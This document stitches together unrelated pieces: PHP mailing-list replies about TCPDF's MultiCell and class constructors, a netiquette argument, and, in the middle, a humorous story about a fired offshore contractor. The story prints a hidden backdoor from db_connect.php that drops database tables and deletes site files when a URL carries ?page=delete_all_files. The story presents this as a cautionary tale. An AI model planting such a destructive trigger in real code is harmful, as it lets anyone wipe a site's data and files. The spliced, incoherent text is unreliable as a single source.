In FPDF, I find I have to do $pdf->MultiCell() to accomplish this,
rather simply $pdf->Write() (it's kinda like a textarea in HTML).
There's probably something comparable in TCPDF.

You get what you pay for. Ondra M didn't use those exact words, but that's
effectively what told his friend and colleague, Derrick. "There's a reason
it costs one tenth as much to build in Kerbleckistan," were Ondra's exact
words, "there's not only the language barrier, but time zone differences,
cultural diff-"
"It's just code, which is just a bunch a bytes!" Derrick shot back, "who
cares if it's built here, there, or on the moon. I'll just take the cost
savings and put them towards advertising. "
Ondra didn't push the point any further. After all, over the years he had
come to learn that Derrick knows best, no matter what reality says.
Besides, it was Derrick's money, Derrick's idea, and Derrick's baby. The
only involvement Ondra had in the project was to lend some unused rack
space.
It was the least he could for his friend who had, once again, come up with
the Best Idea Ever. And this one was truly the best. It was some sort of
Web 2.0 site that involved freemium, collaboration, engagement, and all
sorts of other buzzword concepts that Ondra was clearly behind on
understanding. Either way, Ondra set up a server, gave Derrick the details,
and wished him the best of luck.
Not Enough Luck in the World
After over six months of parroting "the project's going great!", Derrick
finally changed his tune."Let me level with you," Derrick painfully
admitted, "I'm in a serious bind, Ondra, and I need your help. I think I
could lose everything."
Ondra held in a much-deserved told-ya-so and let his friend explain what
really happened over the past half year. After interviewing a slew of
candidates from Kerbleckistan, Derrick settled on one who had "many year
experience building web" and could complete the project in "two month,
three maybe." Derrick's arranged to pay this contractor a monthly fee and,
in turn, the contractor would meet pre-established weekly goals and push
his code changes to the server every week.
As the weeks passed, the goals slipped by and the excuses started to grow.
"It does working on my machine," "I have missing your email," and "this is
first time problem" were becoming all-too-common. At one point, the
development just stopped: no new changes were uploaded and the database
remained untouched. After nearly a month of no progress, Derrick fired the
Kerbleckistanian, disabled his server account, and told him not to expect a
check for the past few weeks of "work". And that's where the problems
started.
"This is not fair," the contractor wrote in an email, "I was about to
uploading files. It is good codes, ready for you. I programming this, so
then you pay me and I sending you files."
Derrick stuck to his guns and refused to pay the contractor another dime.
"If you don't paying, then I delete files that I send you," he responded,
"I don't want deleting your web, but it is not fair for me. I know you
changing my password and I can't logging on, but I don't needing SQL or
server password to delete."
It was that last part that was the most troubling to Derrick: could he
actually delete files without FTP access? Derrick fired up his shell access
and executed a simple command to see if unlink
<http://php.net/manual/en/function.unlink.php> (PHP's function for
deletling a file) was used.
cat *.php | grep unlink
The first and only page that showed up was in db_connect.php, which was
included by all pages.
// maybe I needing later
if ($_GET['page'] == "delete_all_files"){
echo "del";
mysql_query("DROP TABLE *");
unlink("index.php");
unlink("apps.php");
unlink("resources");
... snip all files ...
}
That's right - it was a back door that deleted all database tables and
files. All the original programmer (or, anyone else) would have to do is
access any URL and enter ?page=delete_all_files in the URL.
Fortunately, Ondra was able to remove the backdoor before the
Kerbleckistanian could access it. Well, maybe not fortunately; the rest of
the code was pretty awful and was probably better off being deleted. But at
least it was one-tenth the cost of doing it right!

Paul,
Thank you for replying.
> I find I have to do $pdf->MultiCell() to accomplish this
This turned out to be the command I needed.
I used:
$pdf->MultiCell(130,30,$text,0);
130 is the width, 30 the height, and the zero at the end means no border
(1 is a thin black border).
I've never been sure what units TCPDF works in, so I got the right
numbers by experimenting and dialling it in.
Thanks for the support!

Extended classes may have their own constructors which are implicitly
called, and as Jonathan mentioned, the constructor of any ancestors (ie. the
parent) must explicitly be called.
If the child (extended) class does NOT have it's own constructor method
defined, the parent's constructor is called.

I'm looking for any Application help provider that created by php. Is any
php application help provider written, so far?

But long before it was done it was impossible to tell who had asked
which questions, who had provided which answers and who had countered
those answers. In several instances, replies appeared to be directed to
the wrong individuals.
Some people here tend to go way too far when trimming context from
replies. Yes, I know it gets difficult to read when there are more than
ten or twelve levels of attribution, but stripping all but the last
layer is even worse. Removing the participants names from the top should
be a hanging offense. I don't keep copies of every message in any of the
dozens of mailing lists and news groups I follow, so there is no simple
way to go back through the conversation to figure out where it all came
from.

Too much of the conversation and most of the attribution
was stripped too early for this to be coherent.
Why the negativity? A question was asked and several
possible solutions were provided based on that original
question. All the "conversation" was relevant IMO.

Leaving the above for a reason. I find your answer to Andy rude and
offensive! Remind me not to try to help you next time.

No, that's called netetiquette, have a look at:
http://www.the-eggman.com/writings/etiquitte_1.html
Quote: "When responding to E-Mail, don't quote the entire original
message in your reply. Only quote the relevant parts, and only to the
extent that they will help orient the recipient on your reply."
(and this mail is not to start a flame war)

Well, because _you_ don't wanna follow proper netetiquette doesn't mean
everyone else should violate those rules, does it? :-)
And a merry christmas to you.
